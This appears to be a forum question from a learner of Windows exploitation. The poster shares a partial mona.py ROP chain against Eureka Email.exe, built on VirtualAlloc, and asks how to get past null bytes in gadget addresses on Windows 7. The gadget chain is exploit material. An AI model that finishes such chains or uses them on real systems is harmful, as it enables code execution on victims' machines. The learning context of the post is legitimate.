I am currently working on learning Windows Exploitation and am working in a Windows 7 VM. I was going through some tutorials and while they worked fine on Vista and below, they won't on Windows 7 due to a new restriction.
The restriction is that addresses that I could use for ROP are now mapped to 0x00 and which contains a NULL byte. This is also the same with potential gadgets like "call esp, jmp esp, etc"
!mona rop # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x0045021d, # POP EAX # RETN [Eureka Email.exe] 0x004570a8, # ptr to &VirtualAlloc() [IAT Eureka Email.exe] 0x004124d4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [Eureka Email.exe] 0x004412d7, # PUSH EAX # PUSHAD # XOR EAX,EAX # POP ESI # RETN [Eureka Email.exe] 0x00446d9f, # POP EBP # RETN [Eureka Email.exe] 0x00415e82, # & push esp # ret [Eureka Email.exe]
How do I bypass this new restriction in Windows 7? In Linux I know this is "ASCII Guard" but I am not familiar with it in Windows nor did I know it was a thing.